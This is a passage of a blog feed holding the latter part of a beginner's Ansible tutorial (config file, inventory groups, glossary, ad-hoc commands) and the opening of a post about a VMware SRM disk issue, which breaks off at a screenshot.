&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@debian.ansible.lab &lt;span style=&#34;color:#75715e&#34;&gt;# apt install ansible&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch.ansible.lab &lt;span style=&#34;color:#75715e&#34;&gt;# pacman -S ansible&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@macrap.ansible.lab &lt;span style=&#34;color:#75715e&#34;&gt;# pip install ansible&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## etc etc etc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once you have that installed, you can start using Ansible commands such as &lt;code&gt;ansible&lt;/code&gt;, &lt;code&gt;ansible-playbook&lt;/code&gt;, &lt;code&gt;ansible-galaxy&lt;/code&gt; and - the holy grail of Ansible exams (more on that later) - &lt;code&gt;ansible-docs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example, to get an overview of what Ansible already knows about your client machine (aka &amp;ldquo;facts&amp;rdquo; - more about that later too), we can run something like that:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ansible.lab &lt;span style=&#34;color:#75715e&#34;&gt;# ansible localhost -m setup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;localhost | SUCCESS &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&amp;gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ansible_facts&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ansible_all_ipv4_addresses&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;10.0.0.1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ansible_all_ipv6_addresses&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fe80::xxx:xxxx:xxxx:xxxx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;...&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In a more realistic scenario (client machine and single/many/sh*tload servers), all you&amp;rsquo;d have to do aside from installing &lt;code&gt;ansible&lt;/code&gt; on the client, would be to make sure your server boxes have Python 2 or 3 installed and have SSH access via authorized keys enabled - it&amp;rsquo;s a required for your user on the client machine to have their SSH keys copied across to all target systems (&lt;a href=&#34;https://www.digitalocean.com/community/tutorials/how-to-configure-ssh-key-based-authentication-on-a-linux-server&#34;&gt;how to do that&lt;/a&gt;).&lt;/p&gt;
&lt;h2 id=&#34;ansible-files-and-glossary&#34;&gt;Ansible files and glossary&lt;/h2&gt;
&lt;p&gt;At minimum, Ansible uses two files - both available in a template form under &lt;code&gt;/etc/ansible&lt;/code&gt; - the configuration file (&lt;code&gt;asnible.cfg&lt;/code&gt;) and an inventory file (&lt;code&gt;hosts&lt;/code&gt;). Usually, we begin setting up an Ansible client by copting both of these files into a different directory where we won&amp;rsquo;t run into any permission or access issues:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@client.ansible.lab : cp /etc/ansible/* /home/vlku/ansible/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This also makes sure we won&amp;rsquo;t lose the template files which can be useful if we ever mess up the config or forget how to create an inventory.&lt;/p&gt;
&lt;h3 id=&#34;ansiblecfg&#34;&gt;ansible.cfg&lt;/h3&gt;
&lt;p&gt;First file we&amp;rsquo;re going too look at is the Ansible config file - &lt;code&gt;ansible.cfg&lt;/code&gt;. By default, Ansible first looks for this file in the current working directory, then in user&amp;rsquo;s home and lastly in &lt;code&gt;/etc/ansible&lt;/code&gt;. This is important as it allows us to easily configure Ansible differently depending on the hosts we want to manage. For example, you could have one version of &lt;code&gt;ansible.cfg&lt;/code&gt; saved in a &amp;ldquo;Production&amp;rdquo; folder along with a list  of production systems and a second in a &amp;ldquo;Test&amp;rdquo; directory used for managing all the non-prod boxes.&lt;/p&gt;
&lt;p&gt;A fresh, untouched copy of Ansible config can be viewed under this link: &lt;a href=&#34;https://pastebin.com/JFC9m6H9&#34;&gt;ansible.cfg&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;At this stage of this series, we&amp;rsquo;re not going to look too much into the different bits and pieces about &lt;code&gt;ansible.cfg&lt;/code&gt; as this could be a post of its own. For now, I would like to highlight just a few lines which are important for starting up:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#### inventory sets a path to a file containing a list of all machines we would like to manage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#inventory      = /etc/ansible/hosts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#### the following four lines control the remote user settings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## change sudo_user to override the default user Ansible &amp;#34;su&amp;#39;es&amp;#34; to&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## (by default it&amp;#39;s root)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#sudo_user      = root&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## control wheter Ansible should ask for a password when switching to a priveledged user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## (by default Ansible assumes our user appears in /etc/sudoers)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#ask_sudo_pass = True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## default user to use for playbooks if user is not specified&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## (Ansible will use current user as default)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#remote_user = root&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;## uncomment this line if your target systems require a password on top of SSH-key authentication&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#ask_pass      = True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#### what port should Ansible use for SSH&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#remote_port    = 22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#### path to Ansible roles (very important for Ansible Galaxy)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#roles_path    = /etc/ansible/roles&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hopefully, you won&amp;rsquo;t have to change much to get started. In most of my deployments, the only two thing I edit in the config are the paths to&lt;code&gt;inventory&lt;/code&gt; and &lt;code&gt;roles&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;inventory-aka-hosts&#34;&gt;inventory (aka hosts)&lt;/h3&gt;
&lt;p&gt;Right, we&amp;rsquo;ve got our Ansible config ready but what are our target systems? Well, that&amp;rsquo;s what the inventory file is for.&lt;/p&gt;
&lt;p&gt;Inventory files can be a very controversial topic - some like their inventories automated, clean and efficient, while others might prefer having a list of IPs with no fancy Asnible magic. Thankfully, in Ansible we can do either:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@client.ansible.lab : cat /home/vlku/ansible/basic/inventory
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;### Basic Inventory file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.1.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.1.3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;host1.ansible.lab
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;host2.ansible.lab
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;host3.ansible.lab
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@client.ansible.lab : cat /home/vlku/ansible/pro/inventory
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;### Pro Inventory file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;webservers&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;web&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;01:10&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;.ansible.lab
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;dbservers&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db0&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;1:5&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;.ansible.lab
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;production:children&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;webservers
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dbservers
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;testweb&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.2.&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;1:50&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;testdb&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.2.&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;1:10&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;test:children&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;testweb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;testdb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;allweb:children&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;webservers
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;testweb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;alldb:children&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dbservers
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;testdb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;RHEL:children&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allweb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dbserver
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;CentOS:children&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;testdb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A fresh, untouched copy of Ansible inventory file can be viewed under this link: &lt;a href=&#34;https://pastebin.com/9pHwPPXB&#34;&gt;hosts&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As already explained in the previous part of this post, we can tell Ansible where to look for the inventory in the &lt;code&gt;ansible.cfg&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;ansible-glossary&#34;&gt;Ansible Glossary&lt;/h3&gt;
&lt;p&gt;With config and inventory files done, we can move on to all the different terms essential to understand Ansible. I already used some of them above but hopefully you were able to grasp the basics. Future posts will probably cover most of these terms in depth so don&amp;rsquo;t worry about understanding it all based on the short descriptions below:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1) Playbooks&lt;/strong&gt;A playbook is a YAML file which is used to carry out multiple operations (plays) against the target systems. You can think of a playbook as a to-do list which your hosts must follow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.1) Plays&lt;/strong&gt;As mentioned above, plays are essentially what we tell the hosts to do. For example, a play could tell your hosts to change their hostname to a certain variable or to pull a file from your client machine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.2) Variables&lt;/strong&gt;Just as in programming, variables are &amp;ldquo;containers&amp;rdquo; for data. We can use variables to store complex data under a more recognisable name (i.e. instead of typing a very long filename many times in our playbook, we could store it in a variable called&lt;code&gt;longname&lt;/code&gt; and spare our keyboard a lot of redundant keystrokes). Variables can also be used to store dynamic data which changes during playbook&amp;rsquo;s execution (current time, CPU usage in %, number of files in a directory etc.) or depending on the host (IP address, OS version, available disk space etc.)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.2.1) Facts&lt;/strong&gt;Facts are a special kind of variables about the hosts in the inventory which are discovered by Ansible. For example, we can use &lt;code&gt;ansible_facts[&#39;hostname&#39;]&lt;/code&gt; to quickly access system&amp;rsquo;s hostname when writing a playbook.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.3) Handlers&lt;/strong&gt;Sometimes we only want to perform an action under certain cirmumstances and that&amp;rsquo;s exactly what handlers are for. Think how you&amp;rsquo;d only want a service to restart once all changes to the config are succesfully applied.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.4) Modules&lt;/strong&gt;In Ansible, you don&amp;rsquo;t really use bash scripting. Well, you kinda &lt;em&gt;can&lt;/em&gt; do that but it&amp;rsquo;s not what Ansible is really for. Instead of making Ansible run loads of bash commands, what you &lt;em&gt;should&lt;/em&gt; be doing is using modules. We&amp;rsquo;ll cover this in detail in a post about playbooks but for now think about modules as &amp;ldquo;Ansible alternatives&amp;rdquo; for pretty much every command you&amp;rsquo;d need to run against your hosts. You can view the index of Ansible modules under this &lt;a href=&#34;https://docs.ansible.com/ansible/latest/modules/modules_by_category.html&#34;&gt;link&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2) Inventory&lt;/strong&gt;Just to have all terms in one place - in simple terms, an inventory is a list of target systems which will be managed with Ansible. You can have one or many inentory files on your client system which can be both as simple as a list of IPs and complex utilising groups, wildcards and much, much more.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3) Ansible Config&lt;/strong&gt;Again, just to keep this organised - an Ansible config defines all different parameters used during playbook execution and any other Ansible operation. There can be multiple configs on the client system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4) Roles&lt;/strong&gt;Imagine you wrote a brilliant set of playbooks, variables, scripts etc. which when used together will build an endless supply of perfectly functioning webservers. With roles, you can &amp;ldquo;pack&amp;rdquo; all these files together for future use or share them out with Ansible community so others could bask in your greatness.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.1) Ansible Galaxy&lt;/strong&gt;Speaking of sharing roles with others, Ansible Galaxy is a place where you can both publish and download roles. It&amp;rsquo;s a huge, free to use marketplace of great roles allowing you to skip tedious work on basic setups and focus on what really you want to accomplish with Ansible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5) Ansible Vault&lt;/strong&gt;When writing a script, you often come to a point where you need to pass some important, vulnurable data (passwords!!!) over to the target system. The &amp;ldquo;old school&amp;rdquo; way of doing this comes with many disadvanteges - mainly, lack of security. Ansible vault is a way to address this by providing an easy method of encrypting data used in playbooks.&lt;/p&gt;
&lt;h2 id=&#34;ansible-ad-hoc&#34;&gt;Ansible ad-hoc&lt;/h2&gt;
&lt;p&gt;To finish off this post, I&amp;rsquo;d like to go through the simplest of use of Ansible - the ad-hoc commands. While writing playbooks is what really defines your skill in Ansible, running ad-hoc commands is what makes you see how much Ansible can improve your work from day one.&lt;/p&gt;
&lt;p&gt;To keep it simple, ad-hoc commands is a way of running Ansible the easy way. It won&amp;rsquo;t allow you to do anything fancy or super-efficient, but it&amp;rsquo;s still good enough for speeding up day-to-day operations.&lt;/p&gt;
&lt;p&gt;In this post, I already used an Ansible ad-hoc command at the very beggining:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@client.ansible.lab : ansible localhost -m setup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip;which I described as a way to see what Ansible &amp;ldquo;knows&amp;rdquo; about the client system. In reality, that was the simplest ad-hoc Ansible command you could run. Let&amp;rsquo;s break it down:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The first bit -&lt;code&gt;ansible&lt;/code&gt; - is used to launch ad-hoc commands;&lt;/li&gt;
&lt;li&gt;Next, &lt;code&gt;localhost&lt;/code&gt;, indicates what should be the target of this operation. We could replace it with &lt;code&gt;all&lt;/code&gt; to run the command against all hosts in our inventory, or with a specigic group/host name;&lt;/li&gt;
&lt;li&gt;Moving on, the &lt;code&gt;-m&lt;/code&gt; switch is used to specify a module which should be used;&lt;/li&gt;
&lt;li&gt;And finally, &lt;code&gt;setup&lt;/code&gt; is the name of the module we want to use.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you are now far more familliar with Ansible terminology, I will now explain a bit better what that command does - it is also a very important command which you will run loads of times when writing playbooks: it displays all Ansible facts available for the systems defined in your inventory. It is useful not only for seeing what info you can freely utilize in your scripts, but also an easy way of checking if your Ansible client can communicate with target systems (it is also risk-free since the &lt;code&gt;setup&lt;/code&gt; module absolutely does not interfere with the target systems).&lt;/p&gt;
&lt;p&gt;An example of a more &amp;ldquo;advanced&amp;rdquo; ad-hoc command could be something like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@client.ansible.lab : ansible webservers -m service &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;name=httpd state=restarted&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can probably guess at this point, running this command (with a properly configured Ansible config, inventory etc.) would restart a httpd service on all target systems defined as members of the &lt;code&gt;webservers&lt;/code&gt; group.&lt;/p&gt;
&lt;h2 id=&#34;closing-thought&#34;&gt;Closing thought&lt;/h2&gt;
&lt;p&gt;I hope you found this first post in the series useful and interesting. I would love to hear your feedback as I consider writing this multi-post guide a huge undertaking which while I hope will be fun for me, should also be understandable and useful to my readers. My DMs are open if you&amp;rsquo;d like to reach out @WilkITWizard&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Disabled SRM causing VMDK issues?!</title>
      <link>/posts/211201-disabled-srm-vmdk-issue/</link>
      <pubDate>Wed, 01 Dec 2021 00:00:00 +0000</pubDate>
      
      <guid>/posts/211201-disabled-srm-vmdk-issue/</guid>
      <description>I hate ghosts - they are annoying, noisy and will cost you a fortune if you don&amp;rsquo;t have an active Ghost Busters membership card. You know what kind of ghosts is the most irritating though?
Ghosts of VMware software Last week, I received the following screenshot from one of our customers:
Pretty standard isn&amp;rsquo;t it? Well, if you&amp;rsquo;d take a closer look, you&amp;rsquo;d notice something isn&amp;rsquo;t quite right in here. Let&amp;rsquo;s see that again, shall we?</description>
      <content>&lt;p&gt;I hate ghosts - they are annoying, noisy and will cost you a fortune if you don&amp;rsquo;t have an active Ghost Busters membership card. You know what kind of ghosts is the most irritating though?&lt;/p&gt;
&lt;h2 id=&#34;ghosts-of-vmware-software&#34;&gt;Ghosts of VMware software&lt;/h2&gt;
&lt;p&gt;Last week, I received the following screenshot from one of our customers:&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/211201-disabled-srm-vmdk-issue/error.png&#34;   /&gt;
    
